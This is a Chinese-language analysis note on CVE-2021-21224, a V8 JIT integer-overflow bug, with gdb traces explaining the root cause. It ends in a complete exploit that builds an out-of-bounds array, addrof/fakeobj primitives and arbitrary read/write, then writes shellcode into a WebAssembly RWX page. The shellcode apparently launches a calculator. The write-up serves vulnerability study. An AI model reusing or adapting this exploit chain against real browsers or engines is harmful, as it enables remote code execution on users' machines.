CVE-2021-21224 分析笔记
这个漏洞是今年比较火的一个漏洞,被用在今年的hw活动中。
此漏洞发生于Simplified Lowering
阶段的RepresentationChanger::GetWord32RepresentationFor
函数,可以构造一个整数溢出,可以通过Array.prototype.shift()
方法来构造一个长度为-1(0xFFFF_FFFF)
的数组,凭借这个强大的越界数组我们可以很轻松的实现RCE
。
漏洞分析
本人使用的commit版本为commit 552b9b32534a113178f716f1eefe46862539e200。
我们试着分析这个测试代码:
function foo(b)
{
let x = -1;
if (b) x = 0xFFFF_FFFF;
%SystemBreak();
return -1 < Math.max(0, x);
}
console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
%SystemBreak();
console.log(foo(true));
在foo函数中,如果b为false,那么x = -1,那么返回值max为0,foo返回true。
如果b为true,那么x = 0xffffffff,max返回值为0xffffffff,foo返回为true。
所以在正常语境下,foo必然返回true。
那么我们试着运行一下这个代码:
gdb-peda$ set args --allow-natives-syntax ./test.js
gdb-peda$ r
Starting program: /home/giantbranch/Desktop/v8/out.gn/x64.release/d8 --allow-natives-syntax ./test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f0e63750700 (LWP 15364)]
[New Thread 0x7f0e62f4f700 (LWP 15365)]
[New Thread 0x7f0e6274e700 (LWP 15366)]
true
true
false
[Thread 0x7f0e63750700 (LWP 15364) exited]
[Thread 0x7f0e62f4f700 (LWP 15365) exited]
[Thread 0x7f0e6274e700 (LWP 15366) exited]
[Inferior 1 (process 15360) exited normally]
Warning: not running or target is remote
gdb-peda$
可以看到,foo返回了false。
那么原因就在%OptimizeFunctionOnNextCall(foo);
,也就是将foo函数优化了,问题就出在优化中。
这次,我们将断点设置在max函数。
gdb-peda$ b Builtins_MathMax
Breakpoint 1 at 0x563a0d14cf84
gdb-peda$ r
Starting program: /home/giantbranch/Desktop/v8/out.gn/x64.release/d8 --allow-natives-syntax ./test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f0b45452700 (LWP 15408)]
[New Thread 0x7f0b44c51700 (LWP 15409)]
[New Thread 0x7f0b44450700 (LWP 15410)]
[----------------------------------registers-----------------------------------]
RAX: 0x2
RBX: 0xffff
RCX: 0x55e56a2a1f80 (<Builtins_MathMax>: push rbp)
RDX: 0x2d0e080423b1 --> 0x80423
RSI: 0x2d0e082030e1 --> 0xb1000001e6082421
RDI: 0x2d0e082062bd --> 0x2908042229082422
RBP: 0x7fff2e9b93b8 --> 0x7fff2e9b9430 --> 0x7fff2e9b94a0 --> 0x7fff2e9b94c8 --> 0x7fff2e9b9530 --> 0x7fff2e9b9680 (--> ...)
RSP: 0x7fff2e9b93b8 --> 0x7fff2e9b9430 --> 0x7fff2e9b94a0 --> 0x7fff2e9b94c8 --> 0x7fff2e9b9530 --> 0x7fff2e9b9680 (--> ...)
RIP: 0x55e56a2a1f84 (<Builtins_MathMax+4>: push rsi)
R8 : 0x0
R9 : 0xfffffffffffffff7
R10: 0x55e56c198bc9 --> 0x100000000
R11: 0x2d0e082030e1 --> 0xb1000001e6082421
R12: 0x8042389
R13: 0x2d0e00000000 --> 0x7fff2e9b9ba8 (0x00002d0e00000000)
R14: 0x2d0e08212829 --> 0x50000005008042a
R15: 0x55e56c1ff360 --> 0x55e56a2e5ea0 (<Builtins_WideHandler>: add r9,0x1)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55e56a2a1f7f: int3
0x55e56a2a1f80 <Builtins_MathMax>: push rbp
0x55e56a2a1f81 <Builtins_MathMax+1>: mov rbp,rsp
=> 0x55e56a2a1f84 <Builtins_MathMax+4>: push rsi
0x55e56a2a1f85 <Builtins_MathMax+5>: push rdi
0x55e56a2a1f86 <Builtins_MathMax+6>: push rax
0x55e56a2a1f87 <Builtins_MathMax+7>: sub rsp,0x20
0x55e56a2a1f8b <Builtins_MathMax+11>: mov QWORD PTR [rbp-0x38],rsi
[------------------------------------stack-------------------------------------]
0000| 0x7fff2e9b93b8 --> 0x7fff2e9b9430 --> 0x7fff2e9b94a0 --> 0x7fff2e9b94c8 --> 0x7fff2e9b9530 --> 0x7fff2e9b9680 (--> ...)
0008| 0x7fff2e9b93c0 --> 0x55e56a2028cf (<Builtins_InterpreterEntryTrampoline+207>: mov r14,QWORD PTR [rbp-0x20])
0016| 0x7fff2e9b93c8 --> 0x2d0e08205fdd --> 0x2908205ff9082429
0024| 0x7fff2e9b93d0 --> 0x0
0032| 0x7fff2e9b93d8 --> 0x2d0e0821281d --> 0xffffe00000080423
0040| 0x7fff2e9b93e0 --> 0x0
0048| 0x7fff2e9b93e8 --> 0x2d0e08205fdd --> 0x2908205ff9082429
0056| 0x7fff2e9b93f0 --> 0x2d0e082062bd --> 0x2908042229082422
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 1 "d8" hit Breakpoint 1, 0x000055e56a2a1f84 in Builtins_MathMax ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────
RAX 0x2
RBX 0xffff
RCX 0x55e56a2a1f80 (Builtins_MathMax) ◂— push rbp
RDX 0x2d0e080423b1 ◂— 0x80423
RDI 0x2d0e082062bd ◂— 0x2908042229082422
RSI 0x2d0e082030e1 ◂— 0xb1000001e6082421
R8 0x0
R9 0xfffffffffffffff7
R10 0x55e56c198bc9 ◂— 0x100000000
R11 0x2d0e082030e1 ◂— 0xb1000001e6082421
R12 0x8042389
R13 0x2d0e00000000 —▸ 0x7fff2e9b9ba8 ◂— 0x2d0e00000000
R14 0x2d0e08212829 ◂— 0x50000005008042a
R15 0x55e56c1ff360 —▸ 0x55e56a2e5ea0 (Builtins_WideHandler) ◂— add r9, 1
RBP 0x7fff2e9b93b8 —▸ 0x7fff2e9b9430 —▸ 0x7fff2e9b94a0 —▸ 0x7fff2e9b94c8 —▸ 0x7fff2e9b9530 ◂— ...
RSP 0x7fff2e9b93b8 —▸ 0x7fff2e9b9430 —▸ 0x7fff2e9b94a0 —▸ 0x7fff2e9b94c8 —▸ 0x7fff2e9b9530 ◂— ...
RIP 0x55e56a2a1f84 (Builtins_MathMax+4) ◂— push rsi
──────────────────────────────────────────[ DISASM ]──────────────────────────────────────────
► 0x55e56a2a1f84 <Builtins_MathMax+4> push rsi
0x55e56a2a1f85 <Builtins_MathMax+5> push rdi
0x55e56a2a1f86 <Builtins_MathMax+6> push rax
0x55e56a2a1f87 <Builtins_MathMax+7> sub rsp, 0x20
0x55e56a2a1f8b <Builtins_MathMax+11> mov qword ptr [rbp - 0x38], rsi
0x55e56a2a1f8f <Builtins_MathMax+15> cmp rsp, qword ptr [r13 + 0x50]
0x55e56a2a1f93 <Builtins_MathMax+19> jbe Builtins_MathMax+269 <0x55e56a2a208d>
0x55e56a2a1f99 <Builtins_MathMax+25> movsxd rcx, eax
0x55e56a2a1f9c <Builtins_MathMax+28> pcmpeqd xmm0, xmm0
0x55e56a2a1fa0 <Builtins_MathMax+32> psllq xmm0, 0x34
0x55e56a2a1fa5 <Builtins_MathMax+37> xor edi, edi
──────────────────────────────────────────[ STACK ]───────────────────────────────────────────
00:0000│ rbp rsp 0x7fff2e9b93b8 —▸ 0x7fff2e9b9430 —▸ 0x7fff2e9b94a0 —▸ 0x7fff2e9b94c8 —▸ 0x7fff2e9b9530 ◂— ...
01:0008│ 0x7fff2e9b93c0 —▸ 0x55e56a2028cf (Builtins_InterpreterEntryTrampoline+207) ◂— mov r14, qword ptr [rbp - 0x20]
02:0010│ 0x7fff2e9b93c8 —▸ 0x2d0e08205fdd ◂— 0x2908205ff9082429
03:0018│ 0x7fff2e9b93d0 ◂— 0x0
04:0020│ 0x7fff2e9b93d8 —▸ 0x2d0e0821281d ◂— 0xffffe00000080423
05:0028│ 0x7fff2e9b93e0 ◂— 0x0
06:0030│ 0x7fff2e9b93e8 —▸ 0x2d0e08205fdd ◂— 0x2908205ff9082429
07:0038│ 0x7fff2e9b93f0 —▸ 0x2d0e082062bd ◂— 0x2908042229082422
────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────
► f 0 55e56a2a1f84 Builtins_MathMax+4
f 1 55e56a2028cf Builtins_InterpreterEntryTrampoline+207
f 2 2d0e08205fdd
f 3 0
Breakpoint Builtins_MathMax
gdb-peda$ c
Continuing.
true
[----------------------------------registers-----------------------------------]
RAX: 0x2
RBX: 0xffff
RCX: 0x55e56a2a1f80 (<Builtins_MathMax>: push rbp)
RDX: 0x2d0e080423b1 --> 0x80423
RSI: 0x2d0e082030e1 --> 0xb1000001e6082421
RDI: 0x2d0e082062bd --> 0x2908042229082422
RBP: 0x7fff2e9b93b8 --> 0x7fff2e9b9430 --> 0x7fff2e9b94a0 --> 0x7fff2e9b94c8 --> 0x7fff2e9b9530 --> 0x7fff2e9b9680 (--> ...)
RSP: 0x7fff2e9b93b8 --> 0x7fff2e9b9430 --> 0x7fff2e9b94a0 --> 0x7fff2e9b94c8 --> 0x7fff2e9b9530 --> 0x7fff2e9b9680 (--> ...)
RIP: 0x55e56a2a1f84 (<Builtins_MathMax+4>: push rsi)
R8 : 0x0
R9 : 0xfffffffffffffff7
R10: 0x55e56c198bc9 --> 0x100000000
R11: 0x2d0e082030e1 --> 0xb1000001e6082421
R12: 0x2d0e082062bf --> 0x422290804222908
R13: 0x2d0e00000000 --> 0x7fff2e9b9ba8 (0x00002d0e00000000)
R14: 0x2d0e08212829 --> 0x50000005008042a
R15: 0x2d0e08200000 --> 0x40000
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55e56a2a1f7f: int3
0x55e56a2a1f80 <Builtins_MathMax>: push rbp
0x55e56a2a1f81 <Builtins_MathMax+1>: mov rbp,rsp
=> 0x55e56a2a1f84 <Builtins_MathMax+4>: push rsi
0x55e56a2a1f85 <Builtins_MathMax+5>: push rdi
0x55e56a2a1f86 <Builtins_MathMax+6>: push rax
0x55e56a2a1f87 <Builtins_MathMax+7>: sub rsp,0x20
0x55e56a2a1f8b <Builtins_MathMax+11>: mov QWORD PTR [rbp-0x38],rsi
[------------------------------------stack-------------------------------------]
0000| 0x7fff2e9b93b8 --> 0x7fff2e9b9430 --> 0x7fff2e9b94a0 --> 0x7fff2e9b94c8 --> 0x7fff2e9b9530 --> 0x7fff2e9b9680 (--> ...)
0008| 0x7fff2e9b93c0 --> 0x55e56a2028cf (<Builtins_InterpreterEntryTrampoline+207>: mov r14,QWORD PTR [rbp-0x20])
0016| 0x7fff2e9b93c8 --> 0x2d0e08205fdd --> 0x2908205ff9082429
0024| 0x7fff2e9b93d0 --> 0x0
0032| 0x7fff2e9b93d8 --> 0xfffffffe
0040| 0x7fff2e9b93e0 --> 0x0
0048| 0x7fff2e9b93e8 --> 0x2d0e08205fdd --> 0x2908205ff9082429
0056| 0x7fff2e9b93f0 --> 0x2d0e082062bd --> 0x2908042229082422
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 1 "d8" hit Breakpoint 1, 0x000055e56a2a1f84 in Builtins_MathMax ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────
RAX 0x2
RBX 0xffff
RCX 0x55e56a2a1f80 (Builtins_MathMax) ◂— push rbp
RDX 0x2d0e080423b1 ◂— 0x80423
RDI 0x2d0e082062bd ◂— 0x2908042229082422
RSI 0x2d0e082030e1 ◂— 0xb1000001e6082421
R8 0x0
R9 0xfffffffffffffff7
R10 0x55e56c198bc9 ◂— 0x100000000
R11 0x2d0e082030e1 ◂— 0xb1000001e6082421
R12 0x2d0e082062bf ◂— 0x422290804222908
R13 0x2d0e00000000 —▸ 0x7fff2e9b9ba8 ◂— 0x2d0e00000000
R14 0x2d0e08212829 ◂— 0x50000005008042a
R15 0x2d0e08200000 ◂— 0x40000
RBP 0x7fff2e9b93b8 —▸ 0x7fff2e9b9430 —▸ 0x7fff2e9b94a0 —▸ 0x7fff2e9b94c8 —▸ 0x7fff2e9b9530 ◂— ...
RSP 0x7fff2e9b93b8 —▸ 0x7fff2e9b9430 —▸ 0x7fff2e9b94a0 —▸ 0x7fff2e9b94c8 —▸ 0x7fff2e9b9530 ◂— ...
RIP 0x55e56a2a1f84 (Builtins_MathMax+4) ◂— push rsi
──────────────────────────────────────────[ DISASM ]──────────────────────────────────────────
► 0x55e56a2a1f84 <Builtins_MathMax+4> push rsi
0x55e56a2a1f85 <Builtins_MathMax+5> push rdi
0x55e56a2a1f86 <Builtins_MathMax+6> push rax
0x55e56a2a1f87 <Builtins_MathMax+7> sub rsp, 0x20
0x55e56a2a1f8b <Builtins_MathMax+11> mov qword ptr [rbp - 0x38], rsi
0x55e56a2a1f8f <Builtins_MathMax+15> cmp rsp, qword ptr [r13 + 0x50]
0x55e56a2a1f93 <Builtins_MathMax+19> jbe Builtins_MathMax+269 <0x55e56a2a208d>
0x55e56a2a1f99 <Builtins_MathMax+25> movsxd rcx, eax
0x55e56a2a1f9c <Builtins_MathMax+28> pcmpeqd xmm0, xmm0
0x55e56a2a1fa0 <Builtins_MathMax+32> psllq xmm0, 0x34
0x55e56a2a1fa5 <Builtins_MathMax+37> xor edi, edi
──────────────────────────────────────────[ STACK ]───────────────────────────────────────────
00:0000│ rbp rsp 0x7fff2e9b93b8 —▸ 0x7fff2e9b9430 —▸ 0x7fff2e9b94a0 —▸ 0x7fff2e9b94c8 —▸ 0x7fff2e9b9530 ◂— ...
01:0008│ 0x7fff2e9b93c0 —▸ 0x55e56a2028cf (Builtins_InterpreterEntryTrampoline+207) ◂— mov r14, qword ptr [rbp - 0x20]
02:0010│ 0x7fff2e9b93c8 —▸ 0x2d0e08205fdd ◂— 0x2908205ff9082429
03:0018│ 0x7fff2e9b93d0 ◂— 0x0
04:0020│ 0x7fff2e9b93d8 ◂— 0xfffffffe
05:0028│ 0x7fff2e9b93e0 ◂— 0x0
06:0030│ 0x7fff2e9b93e8 —▸ 0x2d0e08205fdd ◂— 0x2908205ff9082429
07:0038│ 0x7fff2e9b93f0 —▸ 0x2d0e082062bd ◂— 0x2908042229082422
────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────
► f 0 55e56a2a1f84 Builtins_MathMax+4
f 1 55e56a2028cf Builtins_InterpreterEntryTrampoline+207
f 2 2d0e08205fdd
f 3 0
Breakpoint Builtins_MathMax
gdb-peda$ c
Continuing.
true
false
[Thread 0x7f0b45452700 (LWP 15408) exited]
[Thread 0x7f0b44450700 (LWP 15410) exited]
[Thread 0x7f0b44c51700 (LWP 15409) exited]
[Inferior 1 (process 15407) exited normally]
Warning: not running or target is remote
gdb-peda$
神奇的事情来了,我们调用了三次foo函数,按理说max函数也会被调用三次,但是在debug环境中,我们清楚的看到我们设置在max函数的断点只断了两次,所以说,在第三次调用foo函数的时候,max函数被优化掉了。
那么具体优化成了啥呢?这次我们将断点设置在foo函数中:
function foo(b)
{
%SystemBreak();
let x = -1;
if (b) x = 0xFFFF_FFFF;
//%SystemBreak();
return -1 < Math.max(0, x);
}
console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
//%SystemBreak();
console.log(foo(true));
优化后的代码:
gdb-peda$ x/20i 0x337600084101
=> 0x337600084101: cmp DWORD PTR [rbp-0x28],0x0
0x337600084105: jne 0x33760008411f
0x33760008410b: movabs r10,0xbff0000000000000 <----------------- load
0x337600084115: vmovq xmm0,r10
0x33760008411a: jmp 0x33760008412e
0x33760008411f: movabs r10,0x41efffffffe00000
0x337600084129: vmovq xmm0,r10
0x33760008412e: vcvttsd2si rdx,xmm0 <----------------------- rdx value here
0x337600084133: cmp rdx,0x0
0x337600084137: jg 0x33760008413f
0x33760008413d: xor edx,edx
0x33760008413f: movabs rcx,0x337608205fdd
0x337600084149: mov ecx,DWORD PTR [rcx+0x3]
0x33760008414c: add rcx,r13
0x33760008414f: mov edi,0x82062bd
0x337600084154: cmp DWORD PTR [rcx+0x53],edi
0x337600084157: jne 0x337600084200
0x33760008415d: cmp edx,0xffffffff <---------------------- cmp here
0x337600084160: jg 0x337600084188
0x337600084166: mov rax,QWORD PTR [r13+0xb0]
gdb-peda$
0x33760008416d: mov rcx,QWORD PTR [rbp-0x18]
0x337600084171: mov rsp,rbp
0x337600084174: pop rbp
0x337600084175: cmp rcx,0x1
0x337600084179: jg 0x33760008417e
0x33760008417b: ret 0x10
0x33760008417e: pop r10
0x337600084180: lea rsp,[rsp+rcx*8+0x8]
0x337600084185: push r10
0x337600084187: ret
0x337600084188: mov rax,QWORD PTR [r13+0xa8]
0x33760008418f: jmp 0x33760008416d
0x337600084191: movabs rdx,0x80
0x33760008419b: push rdx
0x33760008419c: mov eax,0x1
0x3376000841a1: movabs rbx,0x562c8be14b00
0x3376000841ab: movabs rsi,0x3376082030e1
0x3376000841b5: mov rdx,rax
0x3376000841b8: mov r10,QWORD PTR [rip+0xffffffffffffff37] # 0x3376000840f6
0x3376000841bf: call r10
可以看到max函数已经不见了,取而代之的几个cmp语句。
rdx为比较的x的值,在赋值的时候,其值为64位,但是在比较的时候,却只取了低32位进行比较,这样原本的0xFFFFFFFF会被当作-1,所以函数结果就会返回false。
漏洞利用
有了如上所示的整数溢出漏洞,配合zer0con2021上讲解的Array.prototype.shift()
相关的Trick
,可以通过整数溢出来构造一个长度为-1(0xFFFF_FFFF)
的数组。
具体来说,构造代码如下:
function hex(a)
{
return a.toString(16);
}
function foo(flag)
{
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
let vuln_array = new Array(len);
vuln_array.shift();
let oob_array = [1.1, 1.2, 1.3];
%DebugPrint(vuln_array);
%SystemBreak();
return [vuln_array, oob_array];
}
function confusion_to_oob()
{
console.log("[+] convert confusion to oob......");
// 触发JIT
for (let i=0; i<0xc00c; i++) {foo(false);}
//
[vuln_array, oob_array] = foo(true);
vuln_array[16] = 0xc00c;
console.log(" oob_array.length: " + hex(oob_array.length));
}
confusion_to_oob();
也就是在我们构造的漏洞数组后面,紧接着构造一个浮点数数组。通过漏洞数组的溢出,修改obj的地址,进而达到任意内存地址写。
v8对象的数据结构:
map 表明了一个对象的类型对象b为PACKED_DOUBLE_ELEMENTS类型
prototype prototype
elements 对象元素
length 元素个数
properties 属性
在gdb环境中查看array的内存数据:
gdb-peda$ x/40wx 0x150d082b4249 -1
0x150d082b4248: 0x08042201 0x08042429 0x08042429 0x082439c5
0x150d082b4258: 0x08042229 0x082b4249 0xfffffffe 0x08042a95
0x150d082b4268: 0x00000006 0x9999999a 0x3ff19999 0x33333333
0x150d082b4278: 0x3ff33333 0xcccccccd 0x3ff4cccc 0x082439ed
0x150d082b4288: 0x08042229 0x082b4265 0x00018018 0x08042201
0x150d082b4298: 0x00000004 0x082b4255 0x082b4285 0x08243a3d
0x150d082b42a8: 0x08042229 0x082b4295 0x00000004 0x08243f65
0x150d082b42b8: 0x08042229 0x08042229 0x082b42a5 0x00000004
0x150d082b42c8: 0x00000002 0x08042e2d 0x00000008 0x00000004
0x150d082b42d8: 0x00000000 0x08243f8f 0x080423b1 0x080423b1
其中,内存地为0x4250为vuln_array[0]地址,0x4290为浮点数数组的length,可以看到已经被我们改成了0x18018 = 0xc00c * 2
如果我们利用oob的读取功能将数组对象A的对象类型Map读取出来,然后利用oob的写入功能将这个类型写入数组对象B,就会导致数组对象B的类型变为了数组对象A的对象类型,这样就造成了类型混淆。
那出现类型混淆怎么利用呢?举个例子,如果我们定义一个FloatArray浮点数数组A,然后定义一个对象数组B。正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了。
造成上面的原因在于,v8完全依赖Map类型对js对象进行解析。
所以,我们要构造两个函数,达到类似的效果:
计算一个对象的地址addressOf:将需要计算内存地址的对象存放到一个对象数组中的A[0],然后利用上述类型混淆漏洞,将对象数组的Map类型修改为浮点数数组的类型,访问A[0]即可得到浮点数表示的目标对象的内存地址。
将一个内存地址伪造为一个对象fakeObject:将需要伪造的内存地址存放到一个浮点数数组中的B[0],然后利用上述类型混淆漏洞,将浮点数数组的Map类型修改为对象数组的类型,那么B[0]此时就代表了以这个内存地址为起始地址的一个JS对象了。
vuln_array[7]
指向的地方正好是oob_array[0]
的低四字节,我们将obj
写入其中。之后通过oob_array[0]
将八字节长度的值读出来,高四字节全部置零之后就是obj
的值了
function addrof(obj) {
vuln_array[7] = obj;
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;
}
Fakeobj:
function fakeobj(addr) {
oob_array[0] = helper.i2f(addr);
return vuln_array[7];
}
如果我们通过类型混淆再加上地址偏移,将一个fakeobj对象的element和length映射到我们可以控制的内存区域,我们就可以达到一个任意内存地址写。
具体来说,构造代码如下:
function get_arw() {
console.log("[+] get absolute read/write access......");
let oob_array_map_and_properties = helper.f2i(oob_array[3]);
let point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];
fake = fakeobj(addrof(point_array) - 0x20n);
%DebugPrint(point_array);
%SystemBreak();
}
oob_array[3]
保存的是oob_array
本身的map
和properties
,利用他们俩我们可以构造一个elements
和length
都完全由我们控制的数组,point_array[0]
中就是我们复制来的map
和properties
,如果用fakeobj
原语把point_array[0]
当作是一个对象来返回,那么point_array[1]
中的值就是elements
和length
,既然我们可以任意的改写point_array[1]
,也就意味着我们可以将任意length
长度的数据写到elements
指向的地方。
有了任意内存地址写后,就可以构造shellcode:
- 创建一个
wasm
函数对象。 - 通过地址泄露原语找到
wasm
自带的RWX
属性页及wasm
函数最终会调用的汇编代码(wasmInstance.exports.main -> shared_info -> data -> instance+XX
)。 - 通过任意地址读写原语修改
wasm
所在内存页,换上我们准备好的shellcode
。 - 调用
wasm
函数接口,执行shellcode
。
最终exp:
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var wasm_function = wasm_instance.exports.main;
//var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
let arb_write_buffer = new ArrayBuffer(0x300);
// 用来实现类型转换
class Helpers {
constructor() {
this.buf =new ArrayBuffer(16);
this.uint32 = new Uint32Array(this.buf);
this.float64 = new Float64Array(this.buf);
this.big_uint64 = new BigUint64Array(this.buf);
}
// float-->uint
f2i(f)
{
this.float64[0] = f;
return this.big_uint64[0];
}
// uint-->float
i2f(i)
{
this.big_uint64[0] = i;
return this.float64[0];
}
// 64-->32
f2half(val)
{
this.float64[0]= val;
let tmp = Array.from(this.uint32);
return tmp;
}
// 32-->64
half2f(val)
{
this.uint32.set(val);
return this.float64[0];
}
hex(a) {
return "0x" + a.toString(16);
}
gc() { for(let i = 0; i < 100; i++) { new ArrayBuffer(0x1000000); } }
}
function foo(flag) {
// 触发漏洞,使得len==1且Range为(-4294967295, 0)
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
// 利用array.shift()来构造出长度为-1(0xFFFFFFFE)的数组
let vuln_array = new Array(len);
vuln_array.shift();
let oob_array = [1.1, 1.2, 1.3];
if (flag) {
//%DebugPrint(oob_array);
//%SystemBreak();
}
return [vuln_array, oob_array];
}
function confusion_to_oob() {
console.log("[+] convert confusion to oob......");
// 触发JIT
for (let i=0; i<0x10000; i++) {foo(false);}
// gc
helper.gc();
// 修改oob_array的length
[vuln_array, oob_array] = foo(true);
vuln_array[16] = 0xc00c;
console.log(" oob_array.length: " + helper.hex(oob_array.length));
}
function addrof(obj) {
vuln_array[7] = obj;
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;
}
function fakeobj(addr) {
oob_array[0] = helper.i2f(addr);
return vuln_array[7];
}
function get_arw() {
console.log("[+] get absolute read/write access......");
let oob_array_map_and_properties = helper.f2i(oob_array[3]);
point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];
fake = fakeobj(addrof(point_array) - 0x20n);
}
function arb_read(addr) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
return fake[0];
}
function arb_write(addr, val) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
fake[0] = helper.i2f(BigInt(val));
}
function get_wasm_rwx() {
console.log("[+] get address of rwx page......");
rwx_page_addr = helper.f2i(arb_read(addrof(wasm_instance) + 0x68n));
//%DebugPrint(wasm_instance);
//%DebugPrint(wasm_function);
console.log(" Address of rwx page: " + helper.hex(rwx_page_addr));
//%SystemBreak();
}
function run_shellcode(addr, shellcode) {
console.log("[+] run shellcode......");
let dataview = new DataView(arb_write_buffer);
let buf_addr = addrof(arb_write_buffer);
let backing_store_addr = buf_addr + 0x14n;
arb_write(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
console.log("[+] success!!!");
}
function exp() {
helper = new Helpers();
confusion_to_oob();
get_arw();
get_wasm_rwx();
run_shellcode(rwx_page_addr, shellcode);
wasm_function();
}
exp();